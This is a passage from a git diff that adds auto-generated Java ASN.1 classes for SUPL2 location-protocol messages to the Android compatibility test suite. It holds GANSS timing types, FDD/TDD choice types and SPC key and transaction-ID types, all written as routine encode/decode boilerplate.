+ return "ls_partType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("set_GANSSTimingOfCellType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modeSpecificInfoType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_modeSpecificInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "modeSpecificInfoType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public modeSpecificInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modeSpecificInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modeSpecificInfoType != null) {
+ return ImmutableList.of(TAG_modeSpecificInfoType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerUnaligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerAligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Fdd(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.fddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.fddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Tdd(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.tddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.tddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class fddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_fddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public fddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_fddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_fddType != null) {
+ return ImmutableList.of(TAG_fddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerUnaligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerAligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrimaryCPICH_Info referenceIdentity_;
+ public PrimaryCPICH_Info getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCPICH_Info
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (PrimaryCPICH_Info) value;
+ }
+ public PrimaryCPICH_Info setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new PrimaryCPICH_Info();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCPICH_Info.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("fddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isFdd() {
+ return !hasExtensionValue() && Select.$Fdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.fddType getFdd() {
+ if (!isFdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Fdd");
+ }
+ return (modeSpecificInfoType.fddType) element;
+ }
+
+ public void setFdd(modeSpecificInfoType.fddType selected) {
+ selection = Select.$Fdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.fddType setFddToNewInstance() {
+ modeSpecificInfoType.fddType element = new modeSpecificInfoType.fddType();
+ setFdd(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class tddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_tddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tddType != null) {
+ return ImmutableList.of(TAG_tddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerUnaligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerAligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellParametersID referenceIdentity_;
+ public CellParametersID getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellParametersID
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (CellParametersID) value;
+ }
+ public CellParametersID setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new CellParametersID();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellParametersID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("tddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isTdd() {
+ return !hasExtensionValue() && Select.$Tdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.tddType getTdd() {
+ if (!isTdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Tdd");
+ }
+ return (modeSpecificInfoType.tddType) element;
+ }
+
+ public void setTdd(modeSpecificInfoType.tddType selected) {
+ selection = Select.$Tdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.tddType setTddToNewInstance() {
+ modeSpecificInfoType.tddType element = new modeSpecificInfoType.tddType();
+ setTdd(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "modeSpecificInfoType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sfnType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sfnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sfnType() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sfnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sfnType != null) {
+ return ImmutableList.of(TAG_sfnType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerUnaligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerAligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sfnType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganss_TODUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganss_TODUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganss_TODUncertaintyType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganss_TODUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganss_TODUncertaintyType != null) {
+ return ImmutableList.of(TAG_ganss_TODUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganss_TODUncertaintyType from encoded stream.
+ */
+ public static ganss_TODUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ ganss_TODUncertaintyType result = new ganss_TODUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganss_TODUncertaintyType from encoded stream.
+ */
+ public static ganss_TODUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ ganss_TODUncertaintyType result = new ganss_TODUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganss_TODUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SET_GANSSReferenceTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java
new file mode 100755
index 0000000..9d1b772
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKey.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SPCSETKey extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_SPCSETKey
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SPCSETKey() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SPCSETKey;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SPCSETKey != null) {
+ return ImmutableList.of(TAG_SPCSETKey);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SPCSETKey from encoded stream.
+ */
+ public static SPCSETKey fromPerUnaligned(byte[] encodedBytes) {
+ SPCSETKey result = new SPCSETKey();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SPCSETKey from encoded stream.
+ */
+ public static SPCSETKey fromPerAligned(byte[] encodedBytes) {
+ SPCSETKey result = new SPCSETKey();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SPCSETKey = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
new file mode 100755
index 0000000..f110a3d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCSETKeylifetime.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SPCSETKeylifetime extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_SPCSETKeylifetime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SPCSETKeylifetime() {
+ super();
+ setValueRange("1", "24");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SPCSETKeylifetime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SPCSETKeylifetime != null) {
+ return ImmutableList.of(TAG_SPCSETKeylifetime);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SPCSETKeylifetime from encoded stream.
+ */
+ public static SPCSETKeylifetime fromPerUnaligned(byte[] encodedBytes) {
+ SPCSETKeylifetime result = new SPCSETKeylifetime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SPCSETKeylifetime from encoded stream.
+ */
+ public static SPCSETKeylifetime fromPerAligned(byte[] encodedBytes) {
+ SPCSETKeylifetime result = new SPCSETKeylifetime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "SPCSETKeylifetime = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java
new file mode 100755
index 0000000..5567c6d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SPCTID.java
@@ -0,0 +1,368 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.FQDN;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SPCTID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SPCTID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SPCTID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SPCTID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SPCTID != null) {
+ return ImmutableList.of(TAG_SPCTID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SPCTID from encoded stream.
+ */
+ public static SPCTID fromPerUnaligned(byte[] encodedBytes) {
